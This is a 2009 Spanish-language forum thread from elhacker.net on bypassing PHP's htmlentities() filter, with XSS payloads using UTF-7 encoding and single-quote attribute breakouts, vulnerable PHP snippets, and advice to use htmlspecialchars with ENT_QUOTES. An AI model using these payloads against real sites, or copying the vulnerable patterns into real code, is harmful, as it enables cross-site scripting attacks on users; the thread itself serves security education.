elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a la Factorización De Semiprimos (RSA)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  [?]Bypass de htmlentities()[/?]
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: [?]Bypass de htmlentities()[/?]  (Leído 9,648 veces)
braulio--
Wiki

Desconectado Desconectado

Mensajes: 896


Imagen recursiva


Ver Perfil WWW
[?]Bypass de htmlentities()[/?]
« en: 12 Abril 2009, 21:24 pm »

Hola, escribo este post para ver si alguien conoce una forma de bypass del filtro htmlentities().
No me acuerdo donde lei que había una forma que era cambiando la codificacion de utf-8 a utf-7 o algo así.
Si alguien conoce alguna forma de pasarlo que lo posteará aqui porfavor.
En línea

sirdarckcat
Aspirante a supervillano
Moderador
***
Desconectado Desconectado

Mensajes: 7.029


No estoy loco, soy mentalmente divergente


Ver Perfil WWW
Re: [?]Bypass de htmlentities()[/?]
« Respuesta #1 en: 12 Abril 2009, 21:31 pm »

depende de como y donde este puesto.. y con que argumentos.
En línea

braulio--
Wiki

Desconectado Desconectado

Mensajes: 896


Imagen recursiva


Ver Perfil WWW
Re: [?]Bypass de htmlentities()[/?]
« Respuesta #2 en: 12 Abril 2009, 22:05 pm »

Si es algo asi :
Código
  1. $texto = htmlentities($_GET['texto'])
  2. echo $texto
Se podría pasar?
En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.605


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: [?]Bypass de htmlentities()[/?]
« Respuesta #3 en: 12 Abril 2009, 22:08 pm »

Te cuento lo que sucede,
Cuando una aplicación wb está utilizando una codificación UTF-7 puedes hacer el bypass o sea poder escribir código html dentro del sitio web siempre y cuando te permita escribir en el como por ejemplo un buscador y cosas así donde lo que tu escribas quede reflejado en ese sitio.

Código
  1. <?php
  2. header('Content-Type: text/html; charset=UTF-7');
  3. echo htmlentities($_GET['buscar']);
  4. ?>
  5.  

Si en este ejemplo lo pones en un servidor puedes ver que te envía una cabezera UTF-7 asi que toda la codificación del sitio web estará en UTF-7.
Probamos..

Pedimos: test.php?buscar=<script>alert(/XSS/);</script>
Nos debuelve:
Citar
&lt;script&gt;alert(/XSS/);&lt;/script&gt;

Ahora si lo convertimos en utf7 antes de enviar nos queda así:
Código
  1. <?php echo mb_convert_encoding('<script>alert(/XSS/);</script>', 'UTF-7'); ?>
Citar
+ADw-script+AD4-alert(/XSS/)+ADsAPA-/script+AD4-
Tomamos eso y lo enviamos al script vulnerable:

Pedimos: test.php?buscar=+ADw-script+AD4-alert(/XSS/)+ADsAPA-/script+AD4-
Nos debuelve:
Citar
<script>alert(/XSS/);</script>

Pero solo sirven con sitios que declaren en sus cabezeras que están haciendo uso del UTF-7.

Ahora como dice sdc también es importante ver como está hecho el sitio antes de sacar conclusiones porque por ejemplo talves filtra las comillas dobles y las simples no y talves para encerrar sus variables html hace uso de comillas dobles y puede causar un xss como por ejemplo:

Código
  1. <input type='test' value='<?php echo htmlentities($_GET['nombre']); ?>' />
En este caso aunque esté haciendo uso de utf8 podrá causarse un xss escapando con las comillas simples:
test.php?nombre=x' onload(/xss/) id='x

Puedes encontrar la información acá:
http://us3.php.net/htmlentities
Citar

Example #1 Un ejemplo de htmlentities()
Código
  1. <?php
  2. $str = "A 'quote' is <b>bold</b>";
  3.  
  4. // Outputs: A 'quote' is &lt;b&gt;bold&lt;/b&gt;
  5. echo htmlentities($str);
  6.  
  7. // Outputs: A &#38;#039;quote&#38;#039; is &lt;b&gt;bold&lt;/b&gt;
  8. echo htmlentities($str, ENT_QUOTES);
  9. ?>

Si te fijas en el caso de no declarar ENT_QUOTES estás dejando libre las comillas simples y es un error muy común.

Yo recomendaría hacer uso de htmlspecialchars($texto, ENT_QUOTES) previniendo este tipo de ataques aunque un buén uso de htmlentities debería dar casi el mismo resultado.
En línea

braulio--
Wiki

Desconectado Desconectado

Mensajes: 896


Imagen recursiva


Ver Perfil WWW
Re: [?]Bypass de htmlentities()[/?]
« Respuesta #4 en: 12 Abril 2009, 22:15 pm »

Muchas gracias WHK!! Ahora mismo hago unas pruebas.
En línea

braulio--
Wiki

Desconectado Desconectado

Mensajes: 896


Imagen recursiva


Ver Perfil WWW
Re: [?]Bypass de htmlentities()[/?]
« Respuesta #5 en: 12 Abril 2009, 22:26 pm »

Pero de todas formas , aunque te permita salirte del campo de texto ( en el caso que no filtre las comillas simples) no puede pasar otros carácteres como "<" y ">".
En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.605


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: [?]Bypass de htmlentities()[/?]
« Respuesta #6 en: 12 Abril 2009, 22:30 pm »

No, no se puede pero por eso depende mucho del sitio web porque si está dentro de un input o un código javascript puedes hacer un xss igual sin esos carácteres.

https://foro.elhacker.net/nivel_web/temas_mas_destacados_fallas_y_explotaciones_a_nivel_web_actualizado_10409-t244090.0.html
Puedes leer los temas que tengan relación con XSS para que tengas mas claro como hacerlo.
En línea

sirdarckcat
Aspirante a supervillano
Moderador
***
Desconectado Desconectado

Mensajes: 7.029


No estoy loco, soy mentalmente divergente


Ver Perfil WWW
Re: [?]Bypass de htmlentities()[/?]
« Respuesta #7 en: 13 Abril 2009, 04:03 am »

Si es algo asi :
Código
  1. $texto = htmlentities($_GET['texto'])
  2. echo $texto
Se podría pasar?
Si puedes pasar ese filtro en IE, mandando una meta tag encodeada en UTF-7 especificando que el contenido es UTF-7.
En línea

braulio--
Wiki

Desconectado Desconectado

Mensajes: 896


Imagen recursiva


Ver Perfil WWW
Re: [?]Bypass de htmlentities()[/?]
« Respuesta #8 en: 13 Abril 2009, 17:54 pm »

Creo que ya lo entiendo,
por ejemplo tenemos una aplicacion que sea algo asi:
Código
  1. $ruta= htmlentities($_GET['ruta'];)
  2. echo "Esto es una foto...<img src='$ruta' > ";
  3.  
Nosotros podriamos meter en la variable ruta :
http://taltal/imagen.jpg ' onload=alert(/XSS/)
Entonces al final quedaría asi :
Código:
Esto es una foto... <img src='[color=red]http://taltal/imagen.jpg' onload=alert(/XSS/)[/color]'>
Esto es debido a que no filtra las comillas simples.
Nolo he probado , pero creo que esta bien.
Gracias por contestar.
En línea

Data Seek3r

Desconectado Desconectado

Mensajes: 33



Ver Perfil WWW
Re: [?]Bypass de htmlentities()[/?]
« Respuesta #9 en: 16 Abril 2009, 10:02 am »

Si puedes pasar ese filtro en IE, mandando una meta tag encodeada en UTF-7 especificando que el contenido es UTF-7.

¿Podrias explicar o pasar algun tutorial sobre como hacer eso?
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Bypass + iSQL
Nivel Web
Shell Root 5 4,317 Último mensaje 1 Junio 2011, 21:01 pm
por .mokk.
Bypass youserials 2012 Jul
Bugs y Exploits
Bh2Ex 1 3,369 Último mensaje 6 Julio 2012, 07:37 am
por afdlkglfgfdgfhgf
Bypass Firewall/DNS
Hacking
vk496 0 2,392 Último mensaje 7 Octubre 2013, 19:43 pm
por vk496
backdoor bypass antivirus
Hacking
Juanker Time 1 2,931 Último mensaje 3 Abril 2014, 06:28 am
por Mister12
[Aporte] htmlEntities() para javascript.
Desarrollo Web
@XSStringManolo 0 2,824 Último mensaje 16 Febrero 2020, 00:51 am
por @XSStringManolo
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines